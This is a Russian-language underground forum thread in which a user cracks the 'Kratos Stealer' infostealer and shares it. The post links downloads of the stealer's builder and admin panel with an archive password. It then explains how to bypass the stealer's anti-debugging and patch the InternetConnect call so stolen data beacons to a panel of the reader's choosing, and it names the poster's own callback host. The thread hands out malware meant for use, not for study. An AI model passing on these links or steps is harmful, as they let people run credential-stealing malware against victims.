Кряк v1.0 Kratos Stealer от ims0rry

  • Автор темы Автор темы c0dpro
  • Дата начала Дата начала

c0dpro

Йо йо, привет всем. С вами снова я. На этот раз вместо того, чтобы срать в топе я решил нагло спиздить его продукт. Ну, не совсем нагло, сначала я его купил.

8ipEnvI.png


Билдер + админка ( без инструкции ):
https://www.sendspace.com/file/tap1bg
пасс exploit.in

Кому нужна админка с инструкциями от автора, то качаем по этому линку. Прям как селлер предоставил: https://yadi.sk/d/Cej6h5fZ3VPP4U

Выкладываю кряк, а также как я его сделал под Kratos stealer от ims0rry

Источник - какой-то школо форум: https://darkwebs.ws/threads/39040/

Часто встречал, что его юзают. Везде слышу этот аймсорри. Решил глянуть че за аймсорри.

Продукт был приобретен у его селлера: https://forum.exploit.in/index.php?showtopic=139456

Так что админка прилагается. Все легально! А что, в условиях пользования был запрещен слив на вт, так туда я не сливал. Сливаю на эксп. Хм.
laugh.gif


Судя по логам трафика он стучит куда мы скажем, так что должно работать. Чтобы стучала налево не заметил

tFIxPrT.png


Proof of work, отстук на мой Host: security-mail.top

Кстати, автор видимо ебанат писать название продукта в User-agent. Детект одним правилом у аверов...

How to

Итак, открываем билд. Идем в импорт и там смотрим где вызывается wininet функции. Находим функцию с такими прототипами:

kocNnE1.png


Смотрим откуда она вызывается:

3Z3Rjc5.png


Пролистав вверх видим как пушится очень "неприметный" массив на стэк. Ага, ваще не палевно. Флаг в руки.

ZM0m1Cr.png


Как видим - внутри base64 строка, декодировав которую получаем адрес панели.

Выглядит в си это так:

Код

CHAR unCrackable[] = {'b', 'l', 'a', 'b', 'l', 'a', '\0'};


Современные методы обфускации че сказать
wink.gif


Наша задача - это подменить.

Делается это тривиально не смотря на все это говно. Нам надо подменить строку, значит просто посмотрим где она юзается.

Вариант I
PZnrUGM.png


Подменить адрес base64. Вариант не очень, так как нам придется еще в бейс перегонять, да и юзаются std::string ( как мы видим дохуя аллокаторов ), из-за которой может возникнуть возня.

Вариант II
На том же месте подменить результат декода. Я хотел сделать так, и я сделал. Но почему-то вылетал Heap corruption, не стал разбираться. Так что не вариант

Вариант III
Помоему самый наглый
laugh.gif


XMH54Nm.png


Его и сделаем

ims0rry видимо не знает что такое оптимизатор и поэтому отключает его от греха подальше
laugh.gif


(это я о мусорном коде cmp ).

Это нам и поможет. Благодаря отключенному оптимизатору тут достаточно места, чтобы вписать mov ecx, адрес
laugh.gif


Для этого прыгнем туда в дебагере. Врубаем, ставим бряк на интернетопен и хуярим. Попадаем на анти-дебаг ( который в последствии будем юзать для хранения адреса панели
laugh.gif
)

Анти-дебаг прямиком из 90-х. Инлайним IsDebuggerPresent в надежде, что реверсер испугается и съебется. Ага.

L8GERTM.png


Тупо вводим dbh в cmd x64dbg, он патчит PEB и ставит туда 0. Ims0rry, i am sorry за такое.

Видим внизу куча mov. Занопим их.

nVtXhxQ.png


Видим кстати также стеб от ims0rry. Это говорит о том насколько чтение пеба он считает продвинутой техникой
laugh.gif


Зашибись, теперь патчим вызов InternetConnect, чтобы адрес оно брало из занопленного анти-дебаг кода
biggrin.gif


Чтобы выглядело так:
On6ijOu.png


Это кстати дебаг уже пропатченного бинаря. Видим 123.123.123.123 в стеке. Туда и отстучит
smile.gif


fMCTqrg.png


Осталось написать билдер и вместо nop писать то что нам надо.

Посмотрим файловый оффсет до нопов.

hRYte8g.png


Спишем его, перегоним в хидер стаб и сделаем патчер:

nMk3i9X.png


Объяснений, надеюсь, не надо
 
Последнее редактирование:
А можно конечный результат кряка 3 варианта? А то мне лично особо не понятно)))
 
Назад
Сверху